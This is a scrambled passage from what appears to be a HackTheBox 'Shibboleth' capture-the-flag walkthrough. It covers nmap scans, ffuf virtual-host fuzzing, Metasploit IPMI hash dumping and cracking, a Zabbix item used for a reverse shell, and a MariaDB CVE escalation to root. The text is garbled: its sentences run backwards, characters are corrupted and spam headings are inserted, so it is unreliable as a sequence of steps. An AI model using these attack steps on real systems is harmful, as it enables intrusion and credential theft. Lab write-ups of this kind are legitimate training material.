To become ipmi-svc we can reuse the same password.
$ id uid = 110 ( zabbix ) gid = 118 ( zabbix ) groups = 118 ( zabbix ) Privilege Escalation 1 n įinally, we need to return to the Item and click on "Execute now" to execute the command, obtaining a shell as Zabbix. Hence, we can obtain a reverse shell.įor doing so, we need to access Configuration/Hosts/shibboleth.htb/Items, then create a new item with the following command.
Zabbix allows users to execute commands on an agent, as we can see in this post. These credentials can be used for access to the zabbix platform. Scanned 1 of 1 hosts ( 100 % complete ) Auxiliary module execution completed Msf6 auxiliary ( scanner/ipmi/ipmi_dumphashes ) > exploit THREADS 1 yes The number of concurrent threads ( max one per host ) USER_FILE /usr/share/metasploit-framework/data/wordl yes File containing usernames, one per line SESSION_MAX_ATTEMPTS 5 yes Maximum number of session retries, required on certain BMCs ( HP iLO 4, etc ) SESSION_RETRY_DELAY 5 yes Delay between session retries in seconds
Hp ilo 4 nmap password#
OUTPUT_HASHCAT_FILE no Save captured password hashes in hashcat format OUTPUT_JOHN_FILE no Save captured password hashes in john the ripper format PASS_FILE /usr/share/metasploit-framework/data/wordl yes File containing common passwords for offline cracking, one per line
Hp ilo 4 nmap crack#
Name Current Setting Required DescriptionĬRACK_COMMON true yes Automatically crack common passwords as they are obtained Module options ( auxiliary/scanner/ipmi/ipmi_dumphashes ) : msf6 auxiliary ( scanner/ipmi/ipmi_dumphashes ) > options There is a rapid7 post where we can find a Metasploit module for dumping ipmi hashes. Looking for enumeration methods for the asf-rmcp port. ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u -o vhosts.txt -H "Host: " -fc 302 monitor monitoring zabbix Searching for subdomains with Ffuz we can find the followings. If you know the service/version, please submit the following fingerprint at : SF-Port623-UDP:V = 7.92 %I = 7 %D = 11 /28%Time = 61A3DC7D%P = x86_64-pc-linux-gnu%r ( ip Starting Nmap 7.92 ( ) at 2021 -11-28 14 :45 ESTġ service unrecognized despite returning data. Service Info: Host: sudo nmap -sU -sC -sV -p 623 -n -oN PortsDepthUDP.txt 10.10. | _http-server-header: Apache/2.4.41 ( Ubuntu ) | _http-title: Did not follow redirect to sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 80 10.10. Then, we continue with a deeper scan of every opened port, getting more information about each service. Not shown: 999 closed udp ports ( port-unreach ) PORT STATE SERVICE Not shown: 64898 closed ports, 636 filtered portsĨ0 /tcp open sudo nmap -v -sU -n -T3 -oN AllPortsUDP.txt 10.10. 11.124 giving up on port because retransmission cap hit ( 2 ). sudo nmap -v -sS -p-n -T5 -oN AllPorts.txt 10.10. EnumerationĪs always, let's start finding all opened ports in the machine with Nmap. Finally, the attacker will have to exploit a vulnerability on MariaDB (CVE-2021-27928) becoming root.
Hp ilo 4 nmap cracked#
Once cracked the hashes the attacker will gain access to the Zabbix platform where can obtain a reverse shell as Zabbix. Shibboleth is a medium Linux machine from HackTheBox where the attacker will have to enumerate TCP and UDP ports, finding a IPMI service that can be used to retrieve IPMI hashes.
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